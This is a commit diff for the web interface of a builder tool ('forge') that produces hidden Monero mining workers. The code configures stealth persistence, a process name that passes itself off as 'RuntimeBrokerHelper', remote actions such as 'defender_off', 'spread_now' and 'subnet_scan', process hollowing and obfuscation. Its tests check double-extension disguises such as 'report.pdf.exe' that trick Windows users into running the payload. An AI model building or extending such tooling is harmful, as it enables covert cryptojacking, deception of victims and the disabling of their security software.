Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
65
server/web/src/help/aggressiveActions.ts
Normal file
65
server/web/src/help/aggressiveActions.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import type { AgentCapabilities } from '../types';
|
||||
|
||||
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
|
||||
export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
] as const;
|
||||
|
||||
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
|
||||
|
||||
export function canRunAggressiveAction(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): boolean {
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (!caps) return true;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return caps.hole_punch;
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
case 'start_tunnel':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
return caps.remote_aggressive;
|
||||
case 'mesh_status':
|
||||
return caps.mesh_p2p;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function aggressiveActionHint(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): string | undefined {
|
||||
if (platform === 'darwin' && action === 'defender_off') {
|
||||
return 'Defender disable not supported on macOS';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return 'Re-forge with Advanced → NAT Hole Punch';
|
||||
case 'spread_now':
|
||||
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
|
||||
case 'mesh_status':
|
||||
return 'Re-forge with Mesh P2P';
|
||||
default:
|
||||
return 'Re-forge with Remote Aggressive Ops (Advanced)';
|
||||
}
|
||||
}
|
||||
@@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.target_os !== 'universal') {
|
||||
checks.push({
|
||||
id: 'spread_kit_os',
|
||||
level: 'error',
|
||||
message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.fusion_enabled) {
|
||||
checks.push({
|
||||
id: 'spread_fusion',
|
||||
level: 'error',
|
||||
message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
checks.push({
|
||||
id: 'universal_deliverable',
|
||||
level: 'warn',
|
||||
message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
|
||||
checks.push({
|
||||
id: 'hollow_unix',
|
||||
level: 'error',
|
||||
message: 'Process hollowing is not available on Linux or macOS.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
|
||||
checks.push({
|
||||
id: 'sign_unix',
|
||||
level: 'error',
|
||||
message: 'Authenticode signing only applies to Windows builds.',
|
||||
});
|
||||
}
|
||||
|
||||
return checks;
|
||||
}
|
||||
|
||||
@@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
run_as: 'scheduled',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
@@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
target_os: 'windows',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
normalizeForgeForm,
|
||||
spreadKitPreset,
|
||||
} from './forgeFormNormalize';
|
||||
import type { BuildRequest } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('forgeFormNormalize', () => {
|
||||
it('derives deliverable type from flags', () => {
|
||||
expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion');
|
||||
expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit');
|
||||
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||
});
|
||||
|
||||
it('spread kit forces universal and clears fusion', () => {
|
||||
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('linux target clears sign_build and fixes install base', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' })
|
||||
);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
});
|
||||
|
||||
it('single deliverable cannot stay universal', () => {
|
||||
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.spread_kit).toBe(false);
|
||||
});
|
||||
|
||||
it('spread kit preset enables persistence and stealth', () => {
|
||||
const out = applyDeliverableType(baseForm(), 'spread_kit');
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(spreadKitPreset().remote_aggressive).toBe(true);
|
||||
});
|
||||
|
||||
it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 })
|
||||
);
|
||||
// Values are preserved — the backend ignores them when mining_mode !== 'idle'
|
||||
expect(out.idle_threshold_pct).toBe(99);
|
||||
expect(out.idle_duration_minutes).toBe(30);
|
||||
});
|
||||
});
|
||||
239
server/web/src/help/forgeFormNormalize.ts
Normal file
239
server/web/src/help/forgeFormNormalize.ts
Normal file
@@ -0,0 +1,239 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** UI deliverable — derived from forge flags, not sent to the API. */
|
||||
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
|
||||
|
||||
export interface InstallBaseOption {
|
||||
value: string;
|
||||
label: string;
|
||||
hint?: string;
|
||||
}
|
||||
|
||||
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
|
||||
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
|
||||
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
|
||||
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
|
||||
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
|
||||
{ value: 'home', label: 'Home folder (~)' },
|
||||
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{
|
||||
value: 'localappdata',
|
||||
label: 'Stealth cache location (auto per OS)',
|
||||
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
|
||||
},
|
||||
{ value: 'home', label: 'User home (all platforms)' },
|
||||
{ value: 'temp', label: 'Temp folder (all platforms)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
if (form.spread_kit) return 'spread_kit';
|
||||
return 'single';
|
||||
}
|
||||
|
||||
export function deliverableSummary(type: ForgeDeliverable): string {
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
|
||||
case 'spread_kit':
|
||||
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
|
||||
default:
|
||||
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
|
||||
}
|
||||
}
|
||||
|
||||
/** Recommended toggles when Spread Kit is selected. */
|
||||
export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
mining_mode: 'idle',
|
||||
process_hollowing: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: true,
|
||||
auto_spread: false,
|
||||
};
|
||||
}
|
||||
|
||||
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||
const t = targetOs || 'windows';
|
||||
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||
return WINDOWS_INSTALL_BASES;
|
||||
}
|
||||
|
||||
function isWindowsOnlyTarget(targetOs?: string): boolean {
|
||||
return !targetOs || targetOs === 'windows';
|
||||
}
|
||||
|
||||
function isSingleUnixTarget(targetOs?: string): boolean {
|
||||
return targetOs === 'linux' || targetOs === 'darwin';
|
||||
}
|
||||
|
||||
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
const next: BuildRequest = { ...form };
|
||||
|
||||
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||
if (next.spread_kit) {
|
||||
next.fusion_enabled = false;
|
||||
next.target_os = 'universal';
|
||||
next.target_arch = 'all';
|
||||
} else if (next.fusion_enabled) {
|
||||
next.spread_kit = false;
|
||||
if (next.target_os === 'windows' || !next.target_os) {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
|
||||
next.target_os = 'windows';
|
||||
next.spread_kit = false;
|
||||
}
|
||||
|
||||
// Architecture
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (!next.target_arch || next.target_arch === 'all') {
|
||||
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||
}
|
||||
} else {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
|
||||
// Windows-only forge pipeline
|
||||
if (!isWindowsOnlyTarget(next.target_os)) {
|
||||
next.sign_build = false;
|
||||
if (next.target_os !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
|
||||
// Process hollowing — Windows workers only
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
}
|
||||
|
||||
// Install base matches target OS family
|
||||
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
|
||||
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (isWindowsOnlyTarget(next.target_os)) {
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
}
|
||||
|
||||
if (next.install_base !== 'custom') {
|
||||
next.install_custom_base = '';
|
||||
}
|
||||
|
||||
// Stealth / display
|
||||
if (next.stealth_mode) {
|
||||
next.file_logging = false;
|
||||
if (next.display_mode === 'visible') {
|
||||
next.display_mode = 'background';
|
||||
}
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
|
||||
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
|
||||
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
|
||||
if (!next.schedule_start) next.schedule_start = '21:00';
|
||||
if (!next.schedule_end) next.schedule_end = '06:00';
|
||||
|
||||
// Thread mode
|
||||
if (next.thread_mode === 'percent') {
|
||||
if (next.thread_percent < 1 || next.thread_percent > 100) {
|
||||
next.thread_percent = 75;
|
||||
}
|
||||
} else if (next.threads < 1) {
|
||||
next.threads = 4;
|
||||
}
|
||||
|
||||
// Run-as forces persistence
|
||||
if (next.run_as === 'scheduled' || next.run_as === 'service') {
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
|
||||
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
||||
if (!next.ai_enabled) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
next.ai_model = 'llama3.2';
|
||||
} else {
|
||||
if (!next.ai_ollama_endpoint?.trim()) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
}
|
||||
if (!next.ai_model?.trim()) {
|
||||
next.ai_model = 'llama3.2';
|
||||
}
|
||||
}
|
||||
|
||||
// Fusion-only fields
|
||||
if (!next.fusion_enabled) {
|
||||
next.fusion_media_base_name = '';
|
||||
next.fusion_export_subdir = '';
|
||||
if (next.fusion_payload_kind === 'video') {
|
||||
next.fusion_payload_kind = 'exe';
|
||||
}
|
||||
}
|
||||
|
||||
return next;
|
||||
}
|
||||
|
||||
/** Apply a deliverable preset — call from UI when user picks build type. */
|
||||
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
|
||||
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
|
||||
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
fusion_enabled: true,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
fusion_media_mode: base.fusion_media_mode || 'paired',
|
||||
fusion_payload_kind: base.fusion_payload_kind || 'exe',
|
||||
});
|
||||
case 'spread_kit':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
...spreadKitPreset(),
|
||||
});
|
||||
default:
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'target_os':
|
||||
if (value !== 'windows' && value !== 'universal') {
|
||||
next.process_hollowing = false;
|
||||
next.sign_build = false;
|
||||
if (value !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
if (value === 'linux' || value === 'darwin') {
|
||||
next.spread_kit = false;
|
||||
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
||||
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (value === 'windows') {
|
||||
next.target_arch = 'all';
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
} else if (value === 'universal') {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
if (!next.target_os || next.target_os === 'windows') {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'spread_kit':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
process_hollowing: false,
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
||||
// Users can override process_name manually in Advanced mode.
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
const targetOs = form.target_os || 'windows';
|
||||
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||
const isWindowsOnly = targetOs === 'windows';
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
process_hollowing: { disabled: false, badge: 'baked' },
|
||||
process_hollowing: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'Process hollowing is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||
auto_spread: { disabled: false, badge: 'baked' },
|
||||
hole_punch: { disabled: false, badge: 'baked' },
|
||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
||||
},
|
||||
obfuscate: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'server-only',
|
||||
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
||||
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
||||
},
|
||||
sign_build: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'server-only',
|
||||
lockedReason: !isWindowsOnly && !isUniversal
|
||||
? 'Authenticode signing applies to Windows .exe output only.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
if (form.target_os === 'universal') {
|
||||
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
||||
}
|
||||
if (form.spread_kit) {
|
||||
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
||||
}
|
||||
if (form.fusion_enabled) {
|
||||
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
||||
}
|
||||
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
||||
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
||||
}
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
|
||||
@@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
|
||||
@@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean {
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
|
||||
@@ -3,23 +3,63 @@ import {
|
||||
defaultEmbeddedName,
|
||||
defaultRunnerName,
|
||||
fusionTitleFromFilename,
|
||||
isFusionVideoFile,
|
||||
isFusionExeFile,
|
||||
fusionPayloadKind,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
} from './fusionMedia';
|
||||
|
||||
describe('fusionMedia', () => {
|
||||
it('detects video extensions', () => {
|
||||
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
|
||||
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
|
||||
expect(isFusionVideoFile(null)).toBe(false);
|
||||
it('detects exe extensions', () => {
|
||||
expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
|
||||
expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
|
||||
expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
|
||||
expect(isFusionExeFile(null)).toBe(false);
|
||||
});
|
||||
|
||||
it('derives title from filename', () => {
|
||||
it('returns correct payload kind', () => {
|
||||
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
|
||||
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind(null)).toBe('file');
|
||||
});
|
||||
|
||||
it('derives title from any filename', () => {
|
||||
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
||||
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
||||
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
|
||||
expect(fusionTitleFromFilename('document.docx')).toBe('document');
|
||||
});
|
||||
|
||||
it('builds default runner and embedded names', () => {
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
|
||||
it('builds disguised double-extension runner names for non-exe files', () => {
|
||||
// Double-extension trick: Windows hides .exe → user sees the document name + icon
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
|
||||
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
|
||||
// exe payloads are not double-extended (they run directly)
|
||||
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
|
||||
// embedded = same disguised name
|
||||
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
});
|
||||
|
||||
it('disguisedWindowsRunnerName works for all types', () => {
|
||||
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
|
||||
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
|
||||
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
|
||||
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
|
||||
});
|
||||
|
||||
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
|
||||
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
|
||||
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
|
||||
});
|
||||
|
||||
it('returns friendly file type labels', () => {
|
||||
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
|
||||
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
|
||||
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
|
||||
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,20 +1,69 @@
|
||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||
/** Return true if the file is a Windows executable payload (run directly). */
|
||||
export function isFusionExeFile(file: File | null | undefined): boolean {
|
||||
if (!file?.name) return false;
|
||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||
return /\.exe$/i.test(file.name);
|
||||
}
|
||||
|
||||
/** Derive a clean title from any filename (strips extension). */
|
||||
export function fusionTitleFromFilename(name: string): string {
|
||||
const base = name.replace(/^.*[/\\]/, '');
|
||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||
// Remove all extensions from the title
|
||||
return base.replace(/\.[^.]+$/, '') || 'file';
|
||||
}
|
||||
|
||||
/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
|
||||
